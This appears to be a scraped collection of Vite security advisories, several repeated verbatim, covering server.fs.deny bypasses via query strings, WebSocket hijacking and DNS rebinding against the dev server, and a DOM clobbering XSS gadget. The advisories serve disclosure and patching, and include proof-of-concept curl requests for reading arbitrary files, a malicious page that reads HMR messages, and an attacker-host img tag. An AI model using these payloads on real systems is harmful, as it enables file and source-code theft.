The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

  • base64 encoded content of non-allowed files is exposed using ?inline&import (originally reported as ?import&?inline=1.wasm?init)
  • content of non-allowed files is exposed using ?raw?import

/@fs/ isn't needed to reproduce the issue for files inside the project root.

PoC

Original report (check details above for simplified cases):

The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

Example full URL http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init

๐Ÿšจ Vite has a `server.fs.deny` bypassed for `inline` and `raw` with `?import` query

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

  • base64 encoded content of non-allowed files is exposed using ?inline&import (originally reported as ?import&?inline=1.wasm?init)
  • content of non-allowed files is exposed using ?raw?import

/@fs/ isn't needed to reproduce the issue for files inside the project root.

PoC

Original report (check details above for simplified cases):

The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

Example full URL http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init

๐Ÿšจ Vite bypasses server.fs.deny when using ?raw??

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

๐Ÿšจ Vite bypasses server.fs.deny when using ?raw??

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

๐Ÿšจ Vite bypasses server.fs.deny when using ?raw??

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

๐Ÿšจ Vite bypasses server.fs.deny when using ?raw??

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

๐Ÿšจ Vite bypasses server.fs.deny when using ?raw??

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

๐Ÿšจ Websites were able to send any requests to the development server and read the response in vite

Summary

Vite allowed any websites to send any requests to the development server and read the response due to default CORS settings and lack of validation on the Origin header for WebSocket connections.

Warning

This vulnerability even applies to users that only run the Vite dev server on the local machine and does not expose the dev server to the network.

Upgrade Path

Users that does not match either of the following conditions should be able to upgrade to a newer version of Vite that fixes the vulnerability without any additional configuration.

  • Using the backend integration feature
  • Using a reverse proxy in front of Vite
  • Accessing the development server via a domain other than localhost or *.localhost
  • Using a plugin / framework that connects to the WebSocket server on their own from the browser

Using the backend integration feature

If you are using the backend integration feature and not setting server.origin, you need to add the origin of the backend server to the server.cors.origin option. Make sure to set a specific origin rather than *, otherwise any origin can access your development server.

Using a reverse proxy in front of Vite

If you are using a reverse proxy in front of Vite and sending requests to Vite with a hostname other than localhost or *.localhost, you need to add the hostname to the new server.allowedHosts option. For example, if the reverse proxy is sending requests to http://vite:5173, you need to add vite to the server.allowedHosts option.

Accessing the development server via a domain other than localhost or *.localhost

You need to add the hostname to the new server.allowedHosts option. For example, if you are accessing the development server via http://foo.example.com:8080, you need to add foo.example.com to the server.allowedHosts option.

Using a plugin / framework that connects to the WebSocket server on their own from the browser

If you are using a plugin / framework, try upgrading to a newer version of Vite that fixes the vulnerability. If the WebSocket connection appears not to be working, the plugin / framework may have a code that connects to the WebSocket server on their own from the browser.

In that case, you can either:

  • fix the plugin / framework code to the make it compatible with the new version of Vite
  • set legacy.skipWebSocketTokenCheck: true to opt-out the fix for [2] while the plugin / framework is incompatible with the new version of Vite
    • When enabling this option, make sure that you are aware of the security implications described in the impact section of [2] above.

Mitigation without upgrading Vite

[1]: Permissive default CORS settings

Set server.cors to false or limit server.cors.origin to trusted origins.

[2]: Lack of validation on the Origin header for WebSocket connections

There aren't any mitigations for this.

[3]: Lack of validation on the Host header for HTTP requests

Use Chrome 94+ or use HTTPS for the development server.

Details

There are three causes that allowed malicious websites to send any requests to the development server:

[1]: Permissive default CORS settings

Vite sets the Access-Control-Allow-Origin header depending on server.cors option. The default value was true which sets Access-Control-Allow-Origin: *. This allows websites on any origin to fetch contents served on the development server.

Attack scenario:

  1. The attacker serves a malicious web page (http://malicious.example.com).
  2. The user accesses the malicious web page.
  3. The attacker sends a fetch('http://127.0.0.1:5173/main.js') request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.
  4. The attacker gets the content of http://127.0.0.1:5173/main.js.

[2]: Lack of validation on the Origin header for WebSocket connections

Vite starts a WebSocket server to handle HMR and other functionalities. This WebSocket server did not perform validation on the Origin header and was vulnerable to Cross-Site WebSocket Hijacking (CSWSH) attacks. With that attack, an attacker can read and write messages on the WebSocket connection. Vite only sends some information over the WebSocket connection (list of the file paths that changed, the file content where the errored happened, etc.), but plugins can send arbitrary messages and may include more sensitive information.

Attack scenario:

  1. The attacker serves a malicious web page (http://malicious.example.com).
  2. The user accesses the malicious web page.
  3. The attacker runs new WebSocket('http://127.0.0.1:5173', 'vite-hmr') by JS in that malicious web page.
  4. The user edits some files.
  5. Vite sends some HMR messages over WebSocket.
  6. The attacker gets the content of the HMR messages.

[3]: Lack of validation on the Host header for HTTP requests

Unless server.https is set, Vite starts the development server on HTTP. Non-HTTPS servers are vulnerable to DNS rebinding attacks without validation on the Host header. But Vite did not perform validation on the Host header. By exploiting this vulnerability, an attacker can send arbitrary requests to the development server bypassing the same-origin policy.

  1. The attacker serves a malicious web page that is served on HTTP (http://malicious.example.com:5173) (HTTPS won't work).
  2. The user accesses the malicious web page.
  3. The attacker changes the DNS to point to 127.0.0.1 (or other private addresses).
  4. The attacker sends a fetch('/main.js') request by JS in that malicious web page.
  5. The attacker gets the content of http://127.0.0.1:5173/main.js bypassing the same origin policy.

Impact

[1]: Permissive default CORS settings

Users with the default server.cors option may:

  • get the source code stolen by malicious websites
  • give the attacker access to functionalities that are not supposed to be exposed externally
    • Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind server.proxy may have those functionalities.

[2]: Lack of validation on the Origin header for WebSocket connections

All users may get the file paths of the files that changed and the file content where the error happened be stolen by malicious websites.

For users that is using a plugin that sends messages over WebSocket, that content may be stolen by malicious websites.

For users that is using a plugin that has a functionality that is triggered by messages over WebSocket, that functionality may be exploited by malicious websites.

[3]: Lack of validation on the Host header for HTTP requests

Users using HTTP for the development server and using a browser that is not Chrome 94+ may:

  • get the source code stolen by malicious websites
  • give the attacker access to functionalities that are not supposed to be exposed externally
    • Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind server.proxy may have those functionalities.

Chrome 94+ users are not affected for [3], because sending a request to a private network page from public non-HTTPS page is forbidden since Chrome 94.

Related Information

Safari has a bug that blocks requests to loopback addresses from HTTPS origins. This means when the user is using Safari and Vite is listening on lookback addresses, there's another condition of "the malicious web page is served on HTTP" to make [1] and [2] to work.

PoC

[2]: Lack of validation on the Origin header for WebSocket connections

  1. I used the react template which utilizes HMR functionality.
npm create vite@latest my-vue-app-react -- --template react
  1. Then on a malicious server, serve the following POC html:
<!doctype html>
<html lang="en">
    <head>
        <meta charset="utf-8" />
        <title>vite CSWSH</title>
    </head>
    <body>
        <div id="logs"></div>
        <script>
            const div = document.querySelectorAll('#logs')[0];
            const ws = new WebSocket('ws://localhost:5173','vite-hmr');
            ws.onmessage = event => {
                const logLine = document.createElement('p');
                logLine.innerHTML = event.data;
                div.append(logLine);
            };
        </script>
    </body>
</html>
  1. Kick off Vite
npm run dev
  1. Load the development server (open http://localhost:5173/) as well as the malicious page in the browser.
  2. Edit src/App.jsx file and intentionally place a syntax error
  3. Notice how the malicious page can view the websocket messages and a snippet of the source code is exposed

Here's a video demonstrating the POC:

vite-cswsh.mov

๐Ÿšจ Websites were able to send any requests to the development server and read the response in vite

Summary

Vite allowed any websites to send any requests to the development server and read the response due to default CORS settings and lack of validation on the Origin header for WebSocket connections.

Warning

This vulnerability even applies to users that only run the Vite dev server on the local machine and does not expose the dev server to the network.

Upgrade Path

Users that does not match either of the following conditions should be able to upgrade to a newer version of Vite that fixes the vulnerability without any additional configuration.

  • Using the backend integration feature
  • Using a reverse proxy in front of Vite
  • Accessing the development server via a domain other than localhost or *.localhost
  • Using a plugin / framework that connects to the WebSocket server on their own from the browser

Using the backend integration feature

If you are using the backend integration feature and not setting server.origin, you need to add the origin of the backend server to the server.cors.origin option. Make sure to set a specific origin rather than *, otherwise any origin can access your development server.

Using a reverse proxy in front of Vite

If you are using a reverse proxy in front of Vite and sending requests to Vite with a hostname other than localhost or *.localhost, you need to add the hostname to the new server.allowedHosts option. For example, if the reverse proxy is sending requests to http://vite:5173, you need to add vite to the server.allowedHosts option.

Accessing the development server via a domain other than localhost or *.localhost

You need to add the hostname to the new server.allowedHosts option. For example, if you are accessing the development server via http://foo.example.com:8080, you need to add foo.example.com to the server.allowedHosts option.

Using a plugin / framework that connects to the WebSocket server on their own from the browser

If you are using a plugin / framework, try upgrading to a newer version of Vite that fixes the vulnerability. If the WebSocket connection appears not to be working, the plugin / framework may have a code that connects to the WebSocket server on their own from the browser.

In that case, you can either:

  • fix the plugin / framework code to the make it compatible with the new version of Vite
  • set legacy.skipWebSocketTokenCheck: true to opt-out the fix for [2] while the plugin / framework is incompatible with the new version of Vite
    • When enabling this option, make sure that you are aware of the security implications described in the impact section of [2] above.

Mitigation without upgrading Vite

[1]: Permissive default CORS settings

Set server.cors to false or limit server.cors.origin to trusted origins.

[2]: Lack of validation on the Origin header for WebSocket connections

There aren't any mitigations for this.

[3]: Lack of validation on the Host header for HTTP requests

Use Chrome 94+ or use HTTPS for the development server.

Details

There are three causes that allowed malicious websites to send any requests to the development server:

[1]: Permissive default CORS settings

Vite sets the Access-Control-Allow-Origin header depending on server.cors option. The default value was true which sets Access-Control-Allow-Origin: *. This allows websites on any origin to fetch contents served on the development server.

Attack scenario:

  1. The attacker serves a malicious web page (http://malicious.example.com).
  2. The user accesses the malicious web page.
  3. The attacker sends a fetch('http://127.0.0.1:5173/main.js') request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.
  4. The attacker gets the content of http://127.0.0.1:5173/main.js.

[2]: Lack of validation on the Origin header for WebSocket connections

Vite starts a WebSocket server to handle HMR and other functionalities. This WebSocket server did not perform validation on the Origin header and was vulnerable to Cross-Site WebSocket Hijacking (CSWSH) attacks. With that attack, an attacker can read and write messages on the WebSocket connection. Vite only sends some information over the WebSocket connection (list of the file paths that changed, the file content where the errored happened, etc.), but plugins can send arbitrary messages and may include more sensitive information.

Attack scenario:

  1. The attacker serves a malicious web page (http://malicious.example.com).
  2. The user accesses the malicious web page.
  3. The attacker runs new WebSocket('http://127.0.0.1:5173', 'vite-hmr') by JS in that malicious web page.
  4. The user edits some files.
  5. Vite sends some HMR messages over WebSocket.
  6. The attacker gets the content of the HMR messages.

[3]: Lack of validation on the Host header for HTTP requests

Unless server.https is set, Vite starts the development server on HTTP. Non-HTTPS servers are vulnerable to DNS rebinding attacks without validation on the Host header. But Vite did not perform validation on the Host header. By exploiting this vulnerability, an attacker can send arbitrary requests to the development server bypassing the same-origin policy.

  1. The attacker serves a malicious web page that is served on HTTP (http://malicious.example.com:5173) (HTTPS won't work).
  2. The user accesses the malicious web page.
  3. The attacker changes the DNS to point to 127.0.0.1 (or other private addresses).
  4. The attacker sends a fetch('/main.js') request by JS in that malicious web page.
  5. The attacker gets the content of http://127.0.0.1:5173/main.js bypassing the same origin policy.

Impact

[1]: Permissive default CORS settings

Users with the default server.cors option may:

  • get the source code stolen by malicious websites
  • give the attacker access to functionalities that are not supposed to be exposed externally
    • Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind server.proxy may have those functionalities.

[2]: Lack of validation on the Origin header for WebSocket connections

All users may get the file paths of the files that changed and the file content where the error happened be stolen by malicious websites.

For users that is using a plugin that sends messages over WebSocket, that content may be stolen by malicious websites.

For users that is using a plugin that has a functionality that is triggered by messages over WebSocket, that functionality may be exploited by malicious websites.

[3]: Lack of validation on the Host header for HTTP requests

Users using HTTP for the development server and using a browser that is not Chrome 94+ may:

  • get the source code stolen by malicious websites
  • give the attacker access to functionalities that are not supposed to be exposed externally
    • Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind server.proxy may have those functionalities.

Chrome 94+ users are not affected for [3], because sending a request to a private network page from public non-HTTPS page is forbidden since Chrome 94.

Related Information

Safari has a bug that blocks requests to loopback addresses from HTTPS origins. This means when the user is using Safari and Vite is listening on lookback addresses, there's another condition of "the malicious web page is served on HTTP" to make [1] and [2] to work.

PoC

[2]: Lack of validation on the Origin header for WebSocket connections

  1. I used the react template which utilizes HMR functionality.
npm create vite@latest my-vue-app-react -- --template react
  1. Then on a malicious server, serve the following POC html:
<!doctype html>
<html lang="en">
    <head>
        <meta charset="utf-8" />
        <title>vite CSWSH</title>
    </head>
    <body>
        <div id="logs"></div>
        <script>
            const div = document.querySelectorAll('#logs')[0];
            const ws = new WebSocket('ws://localhost:5173','vite-hmr');
            ws.onmessage = event => {
                const logLine = document.createElement('p');
                logLine.innerHTML = event.data;
                div.append(logLine);
            };
        </script>
    </body>
</html>
  1. Kick off Vite
npm run dev
  1. Load the development server (open http://localhost:5173/) as well as the malicious page in the browser.
  2. Edit src/App.jsx file and intentionally place a syntax error
  3. Notice how the malicious page can view the websocket messages and a snippet of the source code is exposed

Here's a video demonstrating the POC:

vite-cswsh.mov

๐Ÿšจ Websites were able to send any requests to the development server and read the response in vite

Summary

Vite allowed any websites to send any requests to the development server and read the response due to default CORS settings and lack of validation on the Origin header for WebSocket connections.

Warning

This vulnerability even applies to users that only run the Vite dev server on the local machine and does not expose the dev server to the network.

Upgrade Path

Users that does not match either of the following conditions should be able to upgrade to a newer version of Vite that fixes the vulnerability without any additional configuration.

  • Using the backend integration feature
  • Using a reverse proxy in front of Vite
  • Accessing the development server via a domain other than localhost or *.localhost
  • Using a plugin / framework that connects to the WebSocket server on their own from the browser

Using the backend integration feature

If you are using the backend integration feature and not setting server.origin, you need to add the origin of the backend server to the server.cors.origin option. Make sure to set a specific origin rather than *, otherwise any origin can access your development server.

Using a reverse proxy in front of Vite

If you are using a reverse proxy in front of Vite and sending requests to Vite with a hostname other than localhost or *.localhost, you need to add the hostname to the new server.allowedHosts option. For example, if the reverse proxy is sending requests to http://vite:5173, you need to add vite to the server.allowedHosts option.

Accessing the development server via a domain other than localhost or *.localhost

You need to add the hostname to the new server.allowedHosts option. For example, if you are accessing the development server via http://foo.example.com:8080, you need to add foo.example.com to the server.allowedHosts option.

Using a plugin / framework that connects to the WebSocket server on their own from the browser

If you are using a plugin / framework, try upgrading to a newer version of Vite that fixes the vulnerability. If the WebSocket connection appears not to be working, the plugin / framework may have a code that connects to the WebSocket server on their own from the browser.

In that case, you can either:

  • fix the plugin / framework code to the make it compatible with the new version of Vite
  • set legacy.skipWebSocketTokenCheck: true to opt-out the fix for [2] while the plugin / framework is incompatible with the new version of Vite
    • When enabling this option, make sure that you are aware of the security implications described in the impact section of [2] above.

Mitigation without upgrading Vite

[1]: Permissive default CORS settings

Set server.cors to false or limit server.cors.origin to trusted origins.

[2]: Lack of validation on the Origin header for WebSocket connections

There aren't any mitigations for this.

[3]: Lack of validation on the Host header for HTTP requests

Use Chrome 94+ or use HTTPS for the development server.

Details

There are three causes that allowed malicious websites to send any requests to the development server:

[1]: Permissive default CORS settings

Vite sets the Access-Control-Allow-Origin header depending on server.cors option. The default value was true which sets Access-Control-Allow-Origin: *. This allows websites on any origin to fetch contents served on the development server.

Attack scenario:

  1. The attacker serves a malicious web page (http://malicious.example.com).
  2. The user accesses the malicious web page.
  3. The attacker sends a fetch('http://127.0.0.1:5173/main.js') request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.
  4. The attacker gets the content of http://127.0.0.1:5173/main.js.

[2]: Lack of validation on the Origin header for WebSocket connections

Vite starts a WebSocket server to handle HMR and other functionalities. This WebSocket server did not perform validation on the Origin header and was vulnerable to Cross-Site WebSocket Hijacking (CSWSH) attacks. With that attack, an attacker can read and write messages on the WebSocket connection. Vite only sends some information over the WebSocket connection (list of the file paths that changed, the file content where the errored happened, etc.), but plugins can send arbitrary messages and may include more sensitive information.

Attack scenario:

  1. The attacker serves a malicious web page (http://malicious.example.com).
  2. The user accesses the malicious web page.
  3. The attacker runs new WebSocket('http://127.0.0.1:5173', 'vite-hmr') by JS in that malicious web page.
  4. The user edits some files.
  5. Vite sends some HMR messages over WebSocket.
  6. The attacker gets the content of the HMR messages.

[3]: Lack of validation on the Host header for HTTP requests

Unless server.https is set, Vite starts the development server on HTTP. Non-HTTPS servers are vulnerable to DNS rebinding attacks without validation on the Host header. But Vite did not perform validation on the Host header. By exploiting this vulnerability, an attacker can send arbitrary requests to the development server bypassing the same-origin policy.

  1. The attacker serves a malicious web page that is served on HTTP (http://malicious.example.com:5173) (HTTPS won't work).
  2. The user accesses the malicious web page.
  3. The attacker changes the DNS to point to 127.0.0.1 (or other private addresses).
  4. The attacker sends a fetch('/main.js') request by JS in that malicious web page.
  5. The attacker gets the content of http://127.0.0.1:5173/main.js bypassing the same origin policy.

Impact

[1]: Permissive default CORS settings

Users with the default server.cors option may:

  • get the source code stolen by malicious websites
  • give the attacker access to functionalities that are not supposed to be exposed externally
    • Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind server.proxy may have those functionalities.

[2]: Lack of validation on the Origin header for WebSocket connections

All users may get the file paths of the files that changed and the file content where the error happened be stolen by malicious websites.

For users that is using a plugin that sends messages over WebSocket, that content may be stolen by malicious websites.

For users that is using a plugin that has a functionality that is triggered by messages over WebSocket, that functionality may be exploited by malicious websites.

[3]: Lack of validation on the Host header for HTTP requests

Users using HTTP for the development server and using a browser that is not Chrome 94+ may:

  • get the source code stolen by malicious websites
  • give the attacker access to functionalities that are not supposed to be exposed externally
    • Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind server.proxy may have those functionalities.

Chrome 94+ users are not affected for [3], because sending a request to a private network page from public non-HTTPS page is forbidden since Chrome 94.

Related Information

Safari has a bug that blocks requests to loopback addresses from HTTPS origins. This means when the user is using Safari and Vite is listening on lookback addresses, there's another condition of "the malicious web page is served on HTTP" to make [1] and [2] to work.

PoC

[2]: Lack of validation on the Origin header for WebSocket connections

  1. I used the react template which utilizes HMR functionality.
npm create vite@latest my-vue-app-react -- --template react
  1. Then on a malicious server, serve the following POC html:
<!doctype html>
<html lang="en">
    <head>
        <meta charset="utf-8" />
        <title>vite CSWSH</title>
    </head>
    <body>
        <div id="logs"></div>
        <script>
            const div = document.querySelectorAll('#logs')[0];
            const ws = new WebSocket('ws://localhost:5173','vite-hmr');
            ws.onmessage = event => {
                const logLine = document.createElement('p');
                logLine.innerHTML = event.data;
                div.append(logLine);
            };
        </script>
    </body>
</html>
  1. Kick off Vite
npm run dev
  1. Load the development server (open http://localhost:5173/) as well as the malicious page in the browser.
  2. Edit src/App.jsx file and intentionally place a syntax error
  3. Notice how the malicious page can view the websocket messages and a snippet of the source code is exposed

Here's a video demonstrating the POC:

vite-cswsh.mov

๐Ÿšจ Vite's `server.fs.deny` is bypassed when using `?import&raw`

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

๐Ÿšจ Vite's `server.fs.deny` is bypassed when using `?import&raw`

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

๐Ÿšจ Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS

Summary

We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Vite

We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

const relativeUrlMechanisms = {
  amd: (relativePath) => {
    if (relativePath[0] !== ".") relativePath = "./" + relativePath;
    return getResolveUrl(
      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`
    );
  },
  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath)})`,
  es: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
  ),
  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
  // NOTE: make sure rollup generate `module` params
  system: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
  ),
  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath, true)})`
};

PoC

Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.

// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)
// extra.js
export default "https://myserver/justAnOther.js"
// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    assetsInlineLimit: 0, // To avoid inline assets for PoC
    rollupOptions: {
      output: {
        format: "cjs"
      },
    },
  },
  base: "./",
});

After running the build command, the developer will get following bundle as the output.

// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);

Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Vite Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
  getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', ${
      umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
  )

๐Ÿšจ Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS

Summary

We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Vite

We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.

